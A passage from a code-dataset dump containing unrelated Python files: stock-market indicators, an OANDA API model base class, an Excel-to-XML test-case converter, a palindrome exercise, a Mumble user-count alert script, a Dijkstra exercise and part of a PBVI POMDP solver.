Returns\n -----\n df: pandas.Dataframe\n our updated Dataframe\n\n \"\"\"\n l = list(df)\n if name not in l:\n df = df.join(new_df)\n else:\n new_df = pd.DataFrame(new_df)\n df.update(new_df)\n return df\n\n\ndef _init_indices(start, end, n, max_index):\n \"\"\"\n Helper function to actual initialize of our indices\n\n Parameters:\n -----\n start: int\n the start of the indices\n end: int\n the end of the indices\n n: int\n the number to move the start back\n max_index: int\n the max number of the ending\n Returns:\n start: int\n the actual start of the indices\n end: int\n the actual ending of the indices\n ------\n \"\"\"\n start = start - n\n if start < 0:\n start = 0\n if start > max_index:\n start = max_index - 1\n\n if end < 0:\n end = max_index\n elif end > max_index:\n end = max_index\n\n return start, end\n\n\ndef moving_average(df, n=14, column='close', start=0, end=-1):\n \"\"\"\n Calculates and updates the moving average of our data\n\n Parameters\n -----\n df: pandas.Dataframe\n contains our stock market data\n n: int\n the amount of data points we want to include in the mean | default=14\n column: str\n the selected column of our data | default='close'\n start: int\n the start of the data we want to process (usually for update purposes)\n end:\n the end of the data we want to process\n Returns\n -----\n df: pandas.Dataframe\n contains our data and now our moving averages\n \"\"\"\n max_index = df.index[-1]\n start, end = _init_indices(start, end, n, max_index)\n name = column + '_MA_' + str(n)\n\n col = pd.Series(df[column][start:end + 1])\n am = pd.Series(col.rolling(n, min_periods=n).mean(), name=name)\n print(am)\n\n df = _update_dataframe(df, am, name)\n\n return df\n\n\ndef exponential_moving_average(df, n=14, column='close', start=0, end=-1):\n \"\"\"\n Parameters\n -----\n df: pandas.Dataframe\n contains our stock market data\n n: int\n the amount of data points we want to include in the mean | default=14\n column: str\n the selected column of our data | default='close'\n start: int\n the start of the data we want to process (usually for update purposes)\n end:\n the end of the data we want to process\n Returns\n -----\n df: pandas.Dataframe\n contains our data and also exponential moving average\n \"\"\"\n\n max_index = df.index[-1]\n start, end = _init_indices(start, end, n, max_index)\n name = column + '_EMA_' + str(n)\n\n col = pd.Series(df[column][start:end+1])\n ema = pd.Series(col.ewm(span=n, min_periods=n).mean(), name=name)\n\n df = _update_dataframe(df, ema, name)\n return df\n\n\ndef momentum(df, n=14, column='close', start=0, end=-1):\n \"\"\"\n Parameters\n -----\n df: pandas.Dataframe\n contains our stock market data\n n: int\n the amount of data points we want to include in the momentum | default=14\n column: str\n the selected column of our data | default='close'\n start: int\n the start of the data we want to process (usually for update purposes)\n end:\n the end of the data we want to process\n Returns\n -----\n df: pandas.Dataframe\n contains our data and also our momentum\n \"\"\"\n\n max_index = df.index[-1]\n start, end = _init_indices(start, end, n, max_index)\n\n name = column + '_MOMENTUM_' + str(n)\n\n col = df[column][start:end+1]\n mom = pd.Series(col.diff(n), name=name)\n\n df = _update_dataframe(df, mom, name)\n return df\n\n\ndef rate_of_change(df, n=14, column='close', start=0, end=-1):\n \"\"\"\n Parameters\n -----\n df: pandas.Dataframe\n contains our stock market data\n n: int\n the distance of data we include in the rate of change| default=14\n column: str\n the selected column of our data | default='close'\n start: int\n the start of the data we want to process (usually for update purposes)\n end:\n the end of the data we want to process\n Returns\n -----\n df: pandas.Dataframe\n contains our data and also our rate of change\n \"\"\"\n\n max_index = df.index[-1]\n start, end = _init_indices(start, end, n, max_index)\n name = column + '_ROC_' + str(n)\n\n col = pd.Series(df[column][start:end + 1])\n\n diff = col.diff(n)\n shift = col.shift(n)\n\n roc = pd.Series(diff / shift, name=name) * 100\n df = _update_dataframe(df, roc, name)\n\n return df\n\ndef rsi(df, n=14, column='close', start=0, end=-1):\n \"\"\"\n Parameters\n -----\n df: pandas.Dataframe\n contains our stock market data\n n: int\n the distance of data we include in the rate of change| default=14\n column: str\n the selected column of our data | default='close'\n start: int\n the start of the data we want to process (usually for update purposes)\n end:\n the end of the data we want to process\n Returns\n -----\n df: pandas.Dataframe\n contains our data and also our rate of change\n \"\"\"\n max_index = df.index[-1]\n start, end = _init_indices(start, end, n, max_index)\n name = column + '_RSI_' + str(n)\n\n col = pd.Series(df[column][start:end + 1]).diff()\n\n av_gain = col.copy()\n av_loss = col.copy()\n av_gain[av_gain<0] = 0\n av_loss[av_loss>0] = 0\n\n av_gain = av_gain.rolling(n).mean().abs()\n av_loss = av_loss.rolling(n).mean().abs()\n\n RS = av_gain/av_loss\n RSI = 100 - (100/(1+RS))\n RSI = pd.Series(RSI, name=name)\n\n df = _update_dataframe(df, RSI, name)\n\n return df\n\n","sub_path":"Indicators.py","file_name":"Indicators.py","file_ext":"py","file_size_in_byte":6478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"105205347","text":"import ujson as json\nfrom collections import OrderedDict\nfrom functools import wraps\nfrom inspect import signature, Signature\nfrom operator import itemgetter\n\nimport pandas as pd\nfrom .primitives import Primitive, Specifier, DateTime\nfrom .attributes import instance_attributes\nfrom .attributes import json_attributes\nfrom .helpers import create_doc_signature\nfrom .helpers import flatten_dict\nfrom .helpers import time_to_time_stamp\n\n\ndef arg_parse(new: classmethod, signature=Signature) -> classmethod:\n \"\"\"Wrapper to convert camelCase arguments to snake_case \"\"\"\n\n @wraps(new)\n def wrap(cls, *args, args_have_been_formatted=False, **kwargs):\n\n # This argument is set when data is returned from\n # the __new__ method of a class derived from Model\n if args_have_been_formatted:\n # locals() returns __class__ so we remove it.\n kwargs.pop('__class__', None)\n return new(cls, **kwargs)\n\n # Remove preset arguments this class defines from kwargs\n # Also make sure that if the argument was supplied it\n # is the same as the preset value\n for argument, preset_value in cls._preset_arguments.items():\n value = kwargs.pop(argument, None)\n if value is not None:\n if not value == preset_value:\n raise ValueError(f'CLASS {cls.__name__}.{argument}'\n f' MUST == {preset_value} NOT {value}')\n\n def format():\n for name, value in kwargs.items():\n try:\n yield instance_attributes[name], value\n except KeyError:\n possible_arguments = ', '.join(param.name for param in signature.parameters.values()\n if param.name != 'cls')\n raise ValueError(f'{name} is not a valid keyword argument. '\n f'Possible arguments for class {cls.__name__} '\n f'include: {possible_arguments}')\n\n return new(cls, *args, **dict(format()))\n\n wrap.__signature__ = signature\n wrap.__annotations__ = new.__annotations__\n return wrap\n\n\ndef tool_tip(init, signature):\n @wraps(init)\n def wrap(*args, **kwargs):\n return init(*args, **kwargs)\n\n wrap.__signature__ = signature\n return wrap\n\n\nclass ORM(type):\n def __init__(self, *args, **kwargs):\n super().__init__(self)\n\n def __new__(mcs, *args, **kwargs):\n\n class_obj = super().__new__(mcs, *args, **kwargs)\n\n # This signature defines the data structure of the objects\n # (providing the object is derived directly from Model)\n # This signature has no 'self' parameter\n template_signature = signature(class_obj)\n\n # This signature does have a 'self' parameter\n pretty_signature = signature(class_obj.__new__)\n\n # This is for tool tips in IDE's (only tested in PyCharm)\n class_obj.__init__ = tool_tip(class_obj.__init__, pretty_signature)\n\n if not class_obj == 'Model':\n # Only add the argument parser to objects that derive from Model\n # Model should never be instantiated on it's own so arguments\n # should already be parsed by models subclasses\n class_obj.__new__ = arg_parse(class_obj.__new__, pretty_signature)\n\n # Setting this argument to true prevents the argument parser\n # from converting camelCase to snake_case multiple times when\n # super().__new__ is called\n class_obj._preset_arguments.update(args_have_been_formatted=True)\n\n # Create a pretty signature for documentation\n class_obj.__doc__ = create_doc_signature(class_obj, pretty_signature)\n\n if class_obj.__bases__[0].__name__ == 'Model':\n\n # This is the overall template of the object.\n # Because Model objects are tuples the order of attributes\n # is important. This order is\n # defined by the order of arguments in the signature.\n # Only objects that derive directly from model get a template.\n # This means class' derived further down the inheritance tree\n # have the same data structure.\n # Which is nice because object attributes can then use the same itemgetter\n # And\n # All objects derived from the same type will have a the columns aligning\n # when the .series method is called.\n class_obj.template = OrderedDict.fromkeys(template_signature.parameters)\n\n # Create getters for each attribute\n for index, attr in enumerate(class_obj.template):\n setattr(class_obj, attr, property(itemgetter(index)))\n\n # Model.__new__ uses this class attribute to\n class_obj.__annotations__ = class_obj.__new__.__annotations__\n\n return class_obj\n\n\n\nclass Model(tuple, metaclass=ORM):\n # Make attribute assignment impossible\n __slots__ = ()\n\n # The delimiter to use when flattening dictionaries\n _delimiter = '_'\n\n # Representation string used when generating a summary for this object\n _repr_format = ''\n\n # Arguments the base class defines\n # But the derived class require they are fixed.\n # Any arguments passed, that match names in `_preset_arguments`\n # will be removed. Prior to calling new.\n _preset_arguments = {}\n\n def __repr__(self):\n def information():\n\n # These attributes seem to be the most important to users\n for attribute in ('id', 'instrument', 'amount', 'units',\n 'current_units', 'realized_pl',\n 'unrealized_pl', 'price', 'reason', 'time'):\n try:\n value = getattr(self, attribute)\n except (IndexError, AttributeError):\n continue\n if value is not None:\n yield f'{attribute}={value}'\n\n # Attempt to get important attributes otherwise provide everything\n attributes = ', '.join(information())\n if not attributes:\n attributes = ', '.join(self._fields)\n\n return f'<{self.__class__.__name__}: {attributes}>'\n\n def __init__(self, *args, **kwargs):\n super().__init__()\n\n def __new__(cls, *args, **kwargs):\n\n # contains all the attributes the class instance contains\n fields = []\n\n arguments = ((attr, cls.__annotations__[attr], kwargs[attr]) for attr in cls.template)\n\n def construct_object_data():\n for name, annotation, value in arguments:\n # Sometimes OANDA JSON responses contain null values.\n # Ellipsis (...) is used as the default parameter\n # to determine the difference between None and null\n # This is important because it allows converting objects\n # back into the EXACT JSON they were created from.\n # Without dropping the null values\n if value is ...:\n yield None\n elif value is None:\n fields.append(name)\n yield None\n else:\n fields.append(name)\n yield create_attribute(annotation, value)\n\n instance = super().__new__(cls, tuple(construct_object_data()))\n instance._fields = tuple(fields)\n return instance\n\n def replace(self, **kwargs):\n return self.__class__(**dict(self.dict(), **kwargs))\n\n def dict(self, json=False, datetime=False):\n def fields():\n for field in self._fields:\n attr = getattr(self, field)\n\n if not isinstance(attr, (int, float, str)):\n try:\n attr = attr.dict(json=json, datetime=datetime)\n except AttributeError:\n try:\n attr = [obj.dict(json=json, datetime=datetime) for obj in attr]\n except AttributeError:\n attr = [str(obj)\n if json and isinstance(obj, float)\n else obj\n for obj in attr]\n except TypeError:\n # Attr is None. account_changes endpoint\n # returns items with null\n attr = attr\n elif json and isinstance(attr, float):\n attr = str(attr)\n elif datetime and isinstance(attr, DateTime):\n attr = time_to_time_stamp(attr)\n\n yield field, attr\n\n return {json_attributes[field] if json else field: attr for field, attr in fields()}\n\n def json(self):\n return json.dumps(self.dict(json=True, datetime=False))\n\n def data(self, json=False, datetime=False):\n return flatten_dict(self.dict(json=json, datetime=datetime), self._delimiter)\n\n def series(self, json=False, datetime=True):\n def create_data():\n for key, value in self.data(json=json, datetime=datetime).items():\n if isinstance(value, str):\n try:\n value = int(value)\n except ValueError:\n pass\n yield key, value\n\n return pd.Series(dict(self.template, **dict(create_data())))\n\n\nclass Array(tuple):\n \"\"\"Mixin to denote objects that are sent from OANDA in an array.\n Also used to correctly serialize objects.\n \"\"\"\n\n # Denotes the type the Array contains\n _contains = None\n\n def __new__(cls, *data):\n _ids = {}\n _instruments = {}\n\n def construct_items(data):\n for index, obj in enumerate(data):\n item = create_attribute(cls._contains, obj)\n\n # It's useful to be able to lookup items in an array\n # By the items attributes. If not id, instrument\n try:\n _ids.update({getattr(item, 'id'): index})\n except AttributeError:\n try:\n _instruments.update({getattr(item, 'instrument'): index})\n except AttributeError:\n pass\n yield item\n\n try:\n instance = super().__new__(cls, construct_items(data))\n except (TypeError, ValueError):\n msg = f'FAILED TO CREATE OBJECT: {cls.__name__} FROM DATA: {data} DATA TYPE: {type(data)}'\n raise ValueError(msg)\n else:\n instance._ids = _ids\n instance._instruments = dict(_instruments)\n return instance\n\n def get_id(self, id_):\n try:\n return self[self._ids[str(id_)]]\n except KeyError:\n return None\n\n def get_instrument(self, instrument):\n try:\n return self[self._instruments[instrument]]\n except KeyError:\n return None\n\n def dataframe(self, json=False, datetime=True):\n \"\"\"Create a pandas.Dataframe\"\"\"\n return pd.DataFrame(obj.series(json=json, datetime=datetime) for obj in self)\n\n\ndef create_attribute(typ, data):\n \"\"\"Correctly instantiate object based upon type of argument passed\"\"\"\n try:\n if isinstance(data, dict):\n result = typ(**data)\n elif isinstance(data, Specifier):\n if not issubclass(typ, Specifier):\n raise TypeError(f'{data} must be a {Specifier} is {type(data)}')\n result = typ(data)\n elif isinstance(data, (Model, Array, Primitive)):\n if not issubclass(type(data), typ):\n raise TypeError(f'{data} must be of type {typ} is {type(data)}')\n result = data\n elif isinstance(data, (tuple, list)):\n result = typ(*data)\n else:\n result = typ(data)\n except TypeError as e:\n # This error handling is required when there is no\n # schema available to parse the data. Typically\n # when an error code has been returned\n # A none value should be returned if this is the case\n if typ is not None:\n raise TypeError(e)\n else:\n return result\n","sub_path":"async_v20/definitions/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":12330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"142226966","text":"#-*- coding:utf-8 -*-\n# author:29557\n# datetime:2019/2/26 10:14\n# software: PyCharm\nimport xlrd, time, re, os\nfrom xml.dom.minidom import Document\n\nclass get_test_case:\n def __init__(self, path, ncols=None):\n self.path = path\n self.ncols = ncols\n\n def get_excel_case(self):\n data = xlrd.open_workbook(self.path)\n make_data = []\n for i in range(len(data.sheet_names())):\n table = data.sheets()[i]\n nrows = table.nrows\n if self.ncols is None:\n self.ncols = table.ncols\n for a in range(1, nrows):\n key_dict = {}\n for b in range(self.ncols):\n cell_value = table.cell(a, b).value\n the_key = 'key' + str(b + 1)\n key_dict[the_key] = cell_value\n if the_key == 'key5' or the_key == 'key6':\n key_dict[the_key] = key_dict[the_key].split('\\n')\n make_data.append(key_dict)\n return make_data\n\nclass case_to_xml:\n def __init__(self, case, case_name=None):\n self.case = case\n self.case_name = case_name\n\n def create_root_node(self):\n self.doc = Document()\n self.root_node = self.doc.createElement('testsuite')\n if self.case_name:self.root_node.setAttribute('name', self.case_name)\n self.doc.appendChild(self.root_node)\n\n def create_module_node(self, module):\n self.module_node = self.doc.createElement('testsuite')\n self.module_node.setAttribute('name', module)\n self.root_node.appendChild(self.module_node)\n\n def create_sub_module_node(self, sub_module):\n self.sub_module_node = self.doc.createElement('testsuite')\n self.sub_module_node.setAttribute('name', sub_module)\n self.module_node.appendChild(self.sub_module_node)\n\n def create_case_name_node(self, case_name):\n self.case_name_node = self.doc.createElement('testcase')\n self.case_name_node.setAttribute('name', case_name)\n self.sub_module_node.appendChild(self.case_name_node)\n\n def create_summary_node(self, summary):\n self.summary_node = self.doc.createElement('summary')\n self.summary_text = self.doc.createTextNode('' % summary)\n self.summary_node.appendChild(self.summary_text)\n self.case_name_node.appendChild(self.summary_node)\n\n def create_prefix_condition_node(self, prefix_condition):\n self.prefix_condition_node = self.doc.createElement('preconditions')\n self.prefix_condition_text = self.doc.createTextNode('' % prefix_condition)\n self.prefix_condition_node.appendChild(self.prefix_condition_text)\n self.case_name_node.appendChild(self.prefix_condition_node)\n\n def create_grade_node(self, grade):\n if grade in ['高', 'p0', '3']:\n grade = 3\n elif grade in ['中', 'p1', '2']:\n grade = 2\n elif grade in ['低', 'p2', '1']:\n grade = 1\n self.grade_node = self.doc.createElement('importance')\n self.grade_text = self.doc.createTextNode('' % grade)\n self.grade_node.appendChild(self.grade_text)\n self.case_name_node.appendChild(self.grade_node)\n\n def create_steps_node(self):\n self.steps_node = self.doc.createElement('steps')\n self.case_name_node.appendChild(self.steps_node)\n\n def create_step_node(self):\n self.step_node = self.doc.createElement('step')\n self.steps_node.appendChild(self.step_node)\n\n def create_step_number_node(self, num):\n self.step_number_node = self.doc.createElement('step_number')\n self.step_number_text = self.doc.createTextNode('' % num)\n self.step_number_node.appendChild(self.step_number_text)\n self.step_node.appendChild(self.step_number_node)\n\n def create_action_node(self, action):\n self.actions_node = self.doc.createElement('actions')\n self.actions_text = self.doc.createTextNode('' % action)\n self.actions_node.appendChild(self.actions_text)\n self.step_node.appendChild(self.actions_node)\n\n def create_expectedresult_node(self, expectedresult):\n self.expectedresults_node = self.doc.createElement('expectedresults')\n self.expectedresults_text = self.doc.createTextNode('' % expectedresult)\n self.expectedresults_node.appendChild(self.expectedresults_text)\n self.step_node.appendChild(self.expectedresults_node)\n\n def make_case(self):\n self.create_root_node()\n for i in d:\n module = i['key1']\n sub_module = i['key2']\n case_name = i['key3']\n prefix_condition = i['key4']\n steps = i['key5']\n results = i['key6']\n grade = i['key7']\n summary = None\n if len(i) >= 8:\n summary = i['key8']\n self.create_module_node(module)\n self.create_sub_module_node(sub_module)\n self.create_case_name_node(case_name)\n if summary:\n self.create_summary_node(summary)\n self.create_prefix_condition_node(prefix_condition)\n self.create_grade_node(grade)\n self.create_steps_node()\n for (step, result, num) in zip(steps, results, range(1, len(steps)+1)):\n self.create_step_node()\n step = re.sub('[0-9]+[、]', '', step)\n result = re.sub('[0-9]+[、]', '', result)\n self.create_step_number_node(num)\n self.create_action_node(step)\n self.create_expectedresult_node(result)\n\n if not self.case_name:self.case_name = '%s.xml' % time.strftime('%Y-%m-%d-%H-%M-%S',time.localtime(time.time()))\n\n with open(self.case_name, 'w', encoding='utf-8',) as f:\n self.doc.writexml(f, addindent='\\t', newl='\\n', encoding='utf-8')\n\n self.alter(self.case_name, '>', '>')\n self.alter(self.case_name, '<', '<')\n return\n\n def alter(self, file, old_str, new_str):\n with open(file, \"r\", encoding=\"utf-8\") as f1, open(\"%s.bak\" % file, \"w\", encoding=\"utf-8\") as f2:\n for line in f1:\n f2.write(re.sub(old_str, new_str, line))\n os.remove(file)\n os.rename(\"%s.bak\" % file, file)\n\nif __name__ == \"__main__\":\n path = r'D:\\tools\\JetBrains\\PycharmProjects\\interface_python\\testdata\\OTA4.0测试用例.xlsx'\n d = get_test_case(path).get_excel_case()\n case_to_xml(d).make_case()","sub_path":"test/test101.py","file_name":"test101.py","file_ext":"py","file_size_in_byte":6560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"348908925","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 31 15:56:00 2020\n\n@author: Yonathan López Mejía\n\nNombre: Yonathan López Mejia\nGrupo: 10\nDocumento: 1017220389\nEnunciado: Haga un programa que determine si una \npalabra ingresada \npor el usuario es palíndroma \no no. Utilice la instrucción \nwhile.\n\n\nAnálisis:\nEntradas\nword: es la palabra a validar\n\nAuxiliares:\ni: es la variable del ciclo\ncon la que se accede los\nelementos del string\nis_palindrome: es una variable\nbooleana que dice si la\npalabra es o no palindroma\nsize: almacena el tamaño\ndel string\n\n\nsalida: \nmensaje que indica si\nla palabra ingresada es o no\npalindroma\n\"\"\"\n\n\nwhile True:\n word = input('Escriba una palabra de al menos dos letras: ').lower()\n if len(word) > 1:\n break\n \n print('Escriba una palabra válida')\n \nis_palindrome = True\nsize = len(word)\ni = 0\n\nwhile i < size:\n if word[i] != word[-(i+1)]:\n is_palindrome = False\n break\n i += 1\n\nif is_palindrome:\n print('La palabra {} es palíndroma'.format(word))\nelse:\n print('La palabra {} no es palíndroma'.format(word))","sub_path":"practica_3/15_is_palindrome.py","file_name":"15_is_palindrome.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"41303263","text":"import os\nimport socket\nimport struct\nimport subprocess\nimport time\nimport letmeknow\n\nHOST = \"localhost\"\nPORT = 64738\n\ndef fire_alert():\n\t# Basically the same as letmeknow.play_alert() but asynchronous\n\tfn = letmeknow.pick_random_file()\n\tsubprocess.Popen([\"vlc\", os.path.join(letmeknow.ALERT_DIR,fn)], stdout=open(os.devnull,\"wb\"), stderr=subprocess.STDOUT)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nsock.settimeout(1)\n\nlast_users = None\n\nwhile True:\n\t# The sent message is four bytes of zeros followed by an eight byte\n\t# identifier. We're using all zero for simplicity.\n\tsock.sendto(bytes(12), (HOST, PORT))\n\tdata, addr = sock.recvfrom(1024) # Will raise on timeout\n\t# See protocol details at https://wiki.mumble.info/wiki/Protocol\n\tver, ident, users, maxusers, maxbw = struct.unpack(\">iQiii\", data)\n\t# print(hex(ver), ident, users, maxusers, maxbw)\n\tif users != last_users and last_users is not None:\n\t\tprint(\"Formerly %d users, now %d\" % (last_users, users))\n\t\tif users > last_users: fire_alert()\n\tlast_users = users\n\ttime.sleep(3) # Fairly frequent polls, but hey, it's a simple UDP query\n","sub_path":"mumble_alert.py","file_name":"mumble_alert.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"51600575","text":"from collections import defaultdict\nimport heapq\n\nn = int(input())\nm = int(input())\n\nedges = defaultdict(list)\nfor _ in range(m):\n a,b,c = [int(x) for x in input().split()]\n edges[a].append([b,c])\n edges[b].append([a,c])\n\ndist = [10**20,0]\nd = [[10**20,0],[0,1]]\n\nfor i in range(2,n+1):\n dist.append(10**15)\n d.append([10**15,i])\n\nheapq.heapify(d)\n\n\nused = set()\n\nwhile len(used)< n:\n\n data = heapq.heappop(d)\n vertex = data[1]\n used.add(vertex)\n\n for edge in edges[vertex]:\n if dist[edge[0]] > edge[1] + dist[vertex]:\n dist[edge[0]] = edge[1] +dist[vertex]\n\n temp = [dist[edge[0]],edge[0]]\n heapq.heappush(d,[dist[edge[0]],edge[0]])\n\n\n\n\n\nprint(dist)\n","sub_path":"Day2/dijsktra's algorithm.py","file_name":"dijsktra's algorithm.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"306727869","text":"from collections import defaultdict\nimport copy\nimport math\nimport random\nimport pickle\nfrom time import time\nfrom datetime import datetime\nimport pyximport;\n\npyximport.install()\nfrom FetchPOMDP import cstuff\nfrom FetchPOMDP import FetchPOMDP\nfrom FetchPOMDP import FetchPOMDPState, FetchPOMDPObservation\n\n# TODO check that alpha[\"action\"] is correctly set\npickle_location = \".\\\\PBVIPickles\\\\\"\n\n\nclass PBVI():\n\tdef __init__(self, pomdp, observations_sample_size=3):\n\t\tself.pomdp = pomdp\n\t\tself.reward_func = self.pomdp.reward_func\n\t\tself.states = self.pomdp.states\n\t\tself.actions = self.pomdp.actions\n\t\tself.observations_sample_size = observations_sample_size\n\t\tself.belief_branching = 1\n\t\tself.muted = False\n\t\tself.name = \"Generic PBVI\"\n\t\tself.initialize_reward_vectors()\n\n\tdef initialize_reward_vectors(self):\n\t\tself.reward_vectors = {}\n\t\tfor a in self.actions:\n\t\t\tvals = {state: self.reward_func(state, a) for state in self.states}\n\t\t\tself.reward_vectors[a] = vals\n\t\treturn self.reward_vectors\n\n\tdef get_best_action(self, belief):\n\t\talpha = self.get_best_alpha(belief)\n\t\treturn alpha[\"action\"]\n\n\tdef get_value(self, belief):\n\t\tvalues = [self.alpha_dot_b(alpha, belief) for alpha in self.v]\n\t\tmax_value = max(values)\n\t\treturn max_value\n\n\tdef get_best_alpha(self, belief, v=None):\n\t\t'''\n\t\t:param belief:\n\t\t:return: (alpha,belief . alpha)\n\t\t'''\n\t\tif v is None:\n\t\t\tv = self.v\n\t\talpha, value = argmax2(v, lambda a: self.alpha_dot_b(a, belief))\n\t\treturn alpha, value\n\n\tdef alpha_dot_b(self, alpha, belief_state):\n\t\t# TODONE? Fixed by putting alpha as second argument since dot_dict iterates over keys in first argument\n\t\t# TODO check speed, create vectorized version for multiple beliefs and/or alphas\n\t\treturn cstuff.dot_dict(belief_state.get_explicit_distribution(), alpha[\"values\"])\n\n\tdef add_alpha(self, alpha):\n\t\tif alpha not in self.v:\n\t\t\tself.v.append(alpha)\n\t\treturn self.v\n\n\tdef backup_old(self, belief_state, v):\n\t\talphas = [self.alpha_a_b(action, belief_state) for action in self.pomdp.actions]\n\t\treturn argmax(alphas, lambda alpha: self.alpha_dot_b(alpha, belief_state))\n\n\tdef backup(self, belief, v, num_observations=3):\n\t\t# TODO check if it is can be more efficient to compute observation prob and/or new belief while sampling observation\n\t\talphas = []\n\t\tfor a in self.actions:\n\t\t\tif a.split(\" \")[0] == \"point\":\n\t\t\t\tpointing = True\n\t\t\tobservations = [self.pomdp.sample_observation_from_belief(belief, a) for i in\n\t\t\t range(num_observations)]\n\t\t\tobservation_probs = [self.pomdp.observation_from_belief_prob(o, belief, a) for o in observations]\n\t\t\tnorm_observation_probs = cstuff.unit_vectorn(observation_probs)\n\t\t\tnew_beliefs = [self.pomdp.belief_update(belief, o, a) for o in observations]\n\t\t\tvals_per_observation = [argmax(v, lambda alpha: self.alpha_dot_b(alpha, b))[\"values\"] for b in new_beliefs]\n\t\t\talpha_a_b_vals = cstuff.linear_combination_of_dicts(vals_per_observation, norm_observation_probs)\n\t\t\ta_val = cstuff.add_dict(self.reward_vectors[a], cstuff.times_dict(alpha_a_b_vals, self.pomdp.gamma))\n\t\t\tnew_alpha = {\"values\": a_val, \"action\": a}\n\t\t\talphas.append(new_alpha)\n\t\tbest_alpha = self.get_best_alpha(belief, alphas)[0]\n\t\treturn best_alpha\n\n\tdef alpha_a_b(self, action, belief):\n\t\t'''\n\t\t:param action:\n\t\t:param belief:\n\t\t:return: a (non default) dict with keys in belief.possible_states and values as in shani (34)\n\t\t'''\n\t\t# TODO perhaps we should evaluate alpha_a_o against b_a_o. Shani and Pineau both say b, but that seems odd :/\n\t\t# Not a function of alpha. Shani (33) seems to have a typo, since we are taking argmax over alphas\n\t\t# b = self.pomdp.belief_transition_func(belief, action)\n\t\tb = belief\n\t\tpossible_states = b.get_all_plausible_states()\n\t\t# possible_states = belief.get_all_possible_states()\n\t\t# possible_states = self.pomdp.states\n\t\tobservations_per_state = {state: math.ceil(self.observations_sample_size * b.belief(state)) for state in\n\t\t possible_states}\n\t\t# Consider storing r_a's based on belief.known for speedup\n\t\tr_a = {state: self.reward_func(state, action) for state in self.pomdp.states}\n\t\tobservations_by_state = {\n\t\t\tstate: [self.pomdp.sample_observation(state) for i in range(observations_per_state[state])] for state in\n\t\t\tpossible_states}\n\t\t# all_sampled_observations might be broken\n\t\tall_sampled_observations = [observation for l in observations_by_state.values() for observation in l]\n\t\t# TODO Need to take best alpha_a_o, not best alpha (maybe)\n\t\tobs_alphas = {observation: [self.alpha_a_o(alpha, action, observation) for alpha in self.v] for observation in\n\t\t all_sampled_observations}\n\t\t# TODO remove impossible observation checking code to increase speed\n\t\t# possible_configs = []\n\t\t# impossible_configs = []\n\t\t# for i in range(len(all_sampled_observations)):\n\t\t# \timposs = cstuff.is_observation_impossible(b,all_sampled_observations[i])\n\t\t# \tif imposs == 1:\n\t\t# \t\timpossible_configs.append((b,all_sampled_observations[i]))\n\t\t# obs_bs = {observation: self.pomdp.belief_update(b, observation, action) for observation in\n\t\t# all_sampled_observations}\n\t\tobs_bs = {observation: b for observation in all_sampled_observations}\n\t\tmax_alphas = {\n\t\t\tobservation: argmax(obs_alphas[observation], lambda alpha: self.alpha_dot_b(alpha, obs_bs[observation])) for\n\t\t\tobservation in all_sampled_observations}\n\t\t# max_alphas = {observation: argmax(self.v, lambda alpha: self.alpha_dot_b(\n\t\t# \tself.alpha_a_o(alpha, action, observation, possible_states), belief)) for\n\t\t# observation in\n\t\t# all_sampled_observations}\n\t\t# Need to add all max_alphas\n\t\tsum_alpha = cstuff.add_list_of_alphas(max_alphas.values(), self.pomdp.states)\n\t\tsum_alpha[\"values\"] = add_dict(sum_alpha[\"values\"], r_a, self.pomdp.states)\n\t\tsum_alpha[\"action\"] = action\n\t\t# sum_alpha[\"values\"] = cstuff.add_dict(sum_alpha,r_a,self.pomdp.states)\n\t\t# ret = add_dict(r_a, times_dict(max_alphas, self.pomdp.gamma))\n\t\t# ret.default_factory = lambda: a.default_factory() + b.default_factory()\n\t\treturn sum_alpha\n\n\tdef alpha_a_b_new(self, action, belief):\n\t\t'''\n\t\t:param action:\n\t\t:param belief:\n\t\t:return: a (non default) dict with keys in belief.possible_states and values as in shani (34)\n\t\t'''\n\t\t# TODO perhaps we should evaluate alpha_a_o against b_a_o. Shani and Pineau both say b, but that seems odd :/\n\t\t# Not a function of alpha. Shani (33) seems to have a typo, since we are taking argmax over alphas\n\t\tb = self.pomdp.belief_transition_func(belief, action)\n\n\t\tpossible_states = b.get_all_plausible_states()\n\t\t# possible_states = belief.get_all_possible_states()\n\t\t# possible_states = self.pomdp.states\n\t\tobservations_per_state = {state: math.ceil(self.observations_sample_size * b.belief(state)) for state in\n\t\t possible_states}\n\t\t# Consider storing r_a's based on belief.known for speedup\n\t\tr_a = {state: self.reward_func(state, action) for state in self.pomdp.states}\n\t\tobservations_by_state = {\n\t\t\tstate: [self.pomdp.sample_observation(state) for i in range(observations_per_state[state])] for state in\n\t\t\tpossible_states}\n\t\t# all_sampled_observations might be broken\n\t\tall_sampled_observations = [observation for l in observations_by_state.values() for observation in l]\n\t\t# TODO Need to take best alpha_a_o, not best alpha (maybe)\n\t\tobs_alphas = {observation: [self.alpha_a_o(alpha, action, observation) for alpha in self.v] for observation in\n\t\t all_sampled_observations}\n\t\t# TODO remove impossible observation checking code to increase speed\n\t\t# possible_configs = []\n\t\t# impossible_configs = []\n\t\t# for i in range(len(all_sampled_observations)):\n\t\t# \timposs = cstuff.is_observation_impossible(b,all_sampled_observations[i])\n\t\t# \tif imposs == 1:\n\t\t# \t\timpossible_configs.append((b,all_sampled_observations[i]))\n\t\tobs_bs = {observation: self.pomdp.belief_update(b, observation, action) for observation in\n\t\t all_sampled_observations}\n\t\tmax_alphas = {\n\t\t\tobservation: argmax(obs_alphas[observation], lambda alpha: self.alpha_dot_b(alpha, obs_bs[observation])) for\n\t\t\tobservation in all_sampled_observations}\n\t\t# max_alphas = {observation: argmax(self.v, lambda alpha: self.alpha_dot_b(\n\t\t# \tself.alpha_a_o(alpha, action, 